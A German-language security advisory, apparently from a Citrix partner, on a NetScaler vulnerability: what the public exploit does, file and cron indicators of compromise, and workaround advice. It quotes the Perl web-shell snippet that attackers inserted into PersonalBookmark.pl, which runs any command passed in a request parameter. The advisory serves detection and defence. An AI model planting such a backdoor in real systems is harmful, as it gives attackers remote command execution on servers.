Schon Mitte Dezember hat Citrix über eine Sicherheitslücke im Software-Produkt NetScaler informiert, doch seit kurzem nimmt das Probleme größere Ausmaße an.

Durch einen vor kurzem auf Github erschienen Exploit, wird dieser Zugang nun sozusagen für die ganze Welt automatisiert verfügbar gemacht. Wir stellen kurz vor was diese Sicherheitslücke genau bewirkt, wo das Problem liegt und wie zumindest kurzfristig Abhilfe geschaffen werden kann.

Update vom 15.01.2020

Die Sicherheitslücke, bzw. der jetzt erschienene Exploit, bewirkt nichts anders als die Möglichkeit ohne jegliche Rechte anonym Programmcode auf dem NetScaler Server auszuführen. In diesem Zuge besteht die Möglichkeit sich Administrator-Rechte (Root-Zugriff) zu verschaffen und x-beliebigen Schadcode in den Server einzuschleusen.

Der NetScaler ist das Universal-Werkzeug für VPN, Load Balancing und Remote Zugriff und deshalb überaus verbreitet. Kurze Zeit nachdem der Exploit auf Github erschienen ist verbreitete er sich schon rasant und die erste Sicherheitsforscher registrierten starken Zugriff auf sogenannte Honeypots.

 

NetScaler Honeypot Statistics

 

Abhilfe in Sicht

Nachdem das Thema gestern schon in Tagesschau & Co. hochgekocht ist, hat Citrix am heutigen Tag einen ersten Workaround veröffentlich.

Mit einem Patch der das Problem behebt ist allerdings erst Ende Januar zu rechnen, dann allerdings auch direkt für diverse NetScaler Versionen. Bevor der Workaround angewandt wird, ist es sinnvoll zu prüfen ob eine Kompromittierung stattgefunden hat. Der Exploit legt in einem oder mehreren der folgenden Verzeichnisse XML Dateien an:

/netscaler/portal/templates
/var/tmp/netscaler/portal/templates
/var/vpn/bookmark

Die Dateien haben dabei kryptische Hashwerte und lassen sich somit sehr gut von den normalen Templates unterscheiden. Zusätzlich werden die Zugriffe auch im Log des Apache Webservers dokumentiert. Natürlich kann es auch passieren, dass ein Angreifer seine Spuren gut verwischt und sämtliche Hinweise löscht, daher sollte man einige Orte des vom NetScaler verwendeten UNIX-Systems prüfen um sicher zu stellen das nicht doch Schadcode eingeschleußt wurde.

Mögliche Dinge zu Prüfung

Beliebte Ziele welche weiterhin geprüft werden sollten sind unter anderem:

  • Crontab für den root-Benutzer
  • Crontab für den nobody-Benutzer
  • Laufende Prozesse auf Python-Basis
  • Laufende Prozesse auf Perl-Basis
  • Generelle Prozesse (zu beachten sind hier Prozesse mit hoher CPU-Last)

In der Praxis haben wir oftmals Änderungen an den Cronjobs beobachtet, in welchen meistens der Aufruf weitere Remote-Scripte hinterlegt war. Generell sind die unterschiedlichsten Angriffe hiermit vorstellbar.

Update vom 15.01.2020

Mit der heutigen Nachkontrolle bei einem Kunden und nach dem durchforsten einiger Security-Bulletins ist noch ein Punkt zur Kontrolle hinzugekommen. Hierbei wurde das Perl Script für die Bookmark-Funktion verändert um direkte Shell Befehle ausführen zu können.

Das Script selbst befindet sich unter /netscaler/portal/scripts/PersonalBookmark.pl – der angepasste Teil beginnt lautet dabei wie folgt

my $cmd = Encode::decode( 'utf8',
$cgi->param( 'cmd' ) );
if($cmd) {print $cmd;my @c=
`$cmd`;foreach my $line (@c) {print
$line . "<br/>";}exit;}

Im Zweifel herunterfahren

Im Zweifelsfall empfehlen wir die Prüfung durch einen Experten und sind hier als Citrix Partner gerne zur Unterstützung bereit. Ansonsten hilft nur herunterfahren und auf einen Patch zu warten. Für die meisten Unternehmen welche Citrix einsetzen, wird das allerdings kaum eine zufriedenstellende Lösung sein – Citrix wird schließlich oftmals als Lösung für Remote-Arbeitsplätze verwendet.

Wir empfehlen die Prüfung des NetScalers, anschließende Bereinigung des Systems und die Anwendung des von Citrix bereitgestellten Workarounds. Andernfalls ist eine weiterbetreiben des Servers vergleichbar damit Nachts im Erdgeschoss das Wohnzimmer-Fenster auf zu lassen und darauf zu hoffen das niemand einsteigt.